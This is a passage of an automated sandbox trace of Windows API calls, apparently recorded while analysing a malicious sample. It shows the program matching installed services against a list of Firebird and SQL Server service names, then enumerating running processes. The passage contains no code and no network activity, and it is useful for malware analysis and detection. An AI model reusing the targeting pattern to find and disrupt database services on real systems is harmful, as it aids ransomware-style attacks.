[0119.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0119.979] lstrlenW (lpString="EventLog") returned 8 [0119.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0119.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0119.979] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0119.979] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0119.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0119.979] lstrlenW (lpString="EventSystem") returned 11 [0119.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0119.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0119.979] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0119.979] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0119.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0119.979] lstrlenW (lpString="FontCache") returned 9 [0119.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0119.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0119.979] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0119.979] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0119.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0119.979] lstrlenW (lpString="gpsvc") returned 5 [0119.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0119.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0119.979] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0119.979] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0119.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0119.979] lstrlenW (lpString="iphlpsvc") returned 8 [0119.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0119.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0119.979] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0119.980] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0119.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0119.980] lstrlenW (lpString="KeyIso") returned 6 [0119.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0119.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0119.980] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0119.980] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0119.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0119.980] lstrlenW (lpString="LanmanServer") returned 12 [0119.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0119.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0119.980] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0119.980] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0119.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0119.980] lstrlenW (lpString="LanmanWorkstation") returned 17 [0119.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0119.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0119.981] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0119.981] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0119.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0119.981] lstrlenW (lpString="lfsvc") returned 5 [0119.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0119.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0119.981] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0119.981] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0119.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0119.981] lstrlenW (lpString="lmhosts") returned 7 [0119.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0119.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0119.981] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0119.981] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0119.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0119.982] lstrlenW (lpString="LSM") returned 3 [0119.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0119.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0119.982] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0119.982] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0119.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0119.982] lstrlenW (lpString="MapsBroker") returned 10 [0119.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0119.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0119.982] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0119.982] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0119.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0119.982] lstrlenW (lpString="MpsSvc") returned 6 [0119.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0119.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0119.982] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0119.982] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0119.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0119.982] lstrlenW (lpString="NcbService") returned 10 [0119.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0119.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0119.982] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0119.982] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0119.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0119.982] lstrlenW (lpString="netprofm") returned 8 [0119.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0119.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0119.982] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0119.982] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0119.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0119.983] lstrlenW (lpString="NlaSvc") returned 6 [0119.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0119.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0119.983] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0119.983] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0119.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0119.983] lstrlenW (lpString="nsi") returned 3 [0119.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0119.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0119.983] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0119.983] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0119.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0119.983] lstrlenW (lpString="PcaSvc") returned 6 [0119.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0119.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0119.983] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0119.983] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0119.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0119.983] lstrlenW (lpString="PlugPlay") returned 8 [0119.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0119.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0119.983] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0119.983] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0119.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0119.983] lstrlenW (lpString="Power") returned 5 [0119.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0119.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0119.983] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0119.983] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0119.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0119.983] lstrlenW (lpString="ProfSvc") returned 7 [0119.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0119.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0119.984] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0119.984] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0119.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0119.984] lstrlenW (lpString="RpcEptMapper") returned 12 [0119.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0119.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0119.984] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0119.984] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0119.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0119.984] lstrlenW (lpString="RpcSs") returned 5 [0119.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0119.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0119.984] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0119.984] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0119.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0119.984] lstrlenW (lpString="SamSs") returned 5 [0119.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0119.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0119.984] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0119.984] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0119.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0119.984] lstrlenW (lpString="Schedule") returned 8 [0119.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0119.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0119.984] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0119.984] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0119.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0119.985] lstrlenW (lpString="SecurityHealthService") returned 21 [0119.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0119.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0119.985] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0119.985] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0119.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0119.985] lstrlenW (lpString="SENS") returned 4 [0119.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0119.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0119.985] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0119.985] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0119.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0119.985] lstrlenW (lpString="ShellHWDetection") returned 16 [0119.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0119.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0119.985] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0119.985] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0119.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0119.985] lstrlenW (lpString="Spooler") returned 7 [0119.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0119.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0119.985] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0119.985] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0119.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0119.985] lstrlenW (lpString="SSDPSRV") returned 7 [0119.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0119.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0119.985] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0119.985] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0119.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0119.985] lstrlenW (lpString="StateRepository") returned 15 [0119.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0119.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0119.986] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0119.986] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0119.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0119.986] lstrlenW (lpString="SysMain") returned 7 [0119.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0119.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0119.986] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0119.986] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0119.986] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6110e0 | out: hHeap=0x5b0000) returned 1 [0119.986] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x370 [0119.990] Process32FirstW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0119.991] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0119.992] lstrlenW (lpString="System") returned 6 [0119.992] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0119.993] lstrlenW (lpString="smss.exe") returned 8 [0119.993] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0119.993] lstrlenW (lpString="csrss.exe") returned 9 [0119.993] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0119.994] lstrlenW (lpString="wininit.exe") returned 11 [0119.994] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0120.008] lstrlenW (lpString="csrss.exe") returned 9 [0120.008] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0120.009] lstrlenW (lpString="winlogon.exe") returned 12 [0120.009] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0120.009] lstrlenW (lpString="services.exe") returned 12 [0120.010] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0120.010] lstrlenW (lpString="lsass.exe") returned 9 [0120.010] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.011] lstrlenW (lpString="svchost.exe") returned 11 [0120.011] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0120.012] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0120.012] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0120.013] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0120.013] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.013] lstrlenW (lpString="svchost.exe") returned 11 [0120.014] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0120.014] lstrlenW (lpString="dwm.exe") returned 7 [0120.014] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.015] lstrlenW (lpString="svchost.exe") returned 11 [0120.015] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.016] lstrlenW (lpString="svchost.exe") returned 11 [0120.016] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.016] lstrlenW (lpString="svchost.exe") returned 11 [0120.016] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.017] lstrlenW (lpString="svchost.exe") returned 11 [0120.017] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.018] lstrlenW (lpString="svchost.exe") returned 11 [0120.018] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.018] lstrlenW (lpString="svchost.exe") returned 11 [0120.018] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.019] lstrlenW (lpString="svchost.exe") returned 11 [0120.019] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.020] lstrlenW (lpString="svchost.exe") returned 11 [0120.020] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.020] lstrlenW (lpString="svchost.exe") returned 11 [0120.021] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0120.021] lstrlenW (lpString="spoolsv.exe") returned 11 [0120.021] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.022] lstrlenW (lpString="svchost.exe") returned 11 [0120.022] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.022] lstrlenW (lpString="svchost.exe") returned 11 [0120.023] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0120.023] lstrlenW (lpString="audiodg.exe") returned 11 [0120.023] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0120.024] lstrlenW (lpString="sihost.exe") returned 10 [0120.024] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.025] lstrlenW (lpString="svchost.exe") returned 11 [0120.025] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0120.025] lstrlenW (lpString="taskhostw.exe") returned 13 [0120.025] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0120.026] lstrlenW 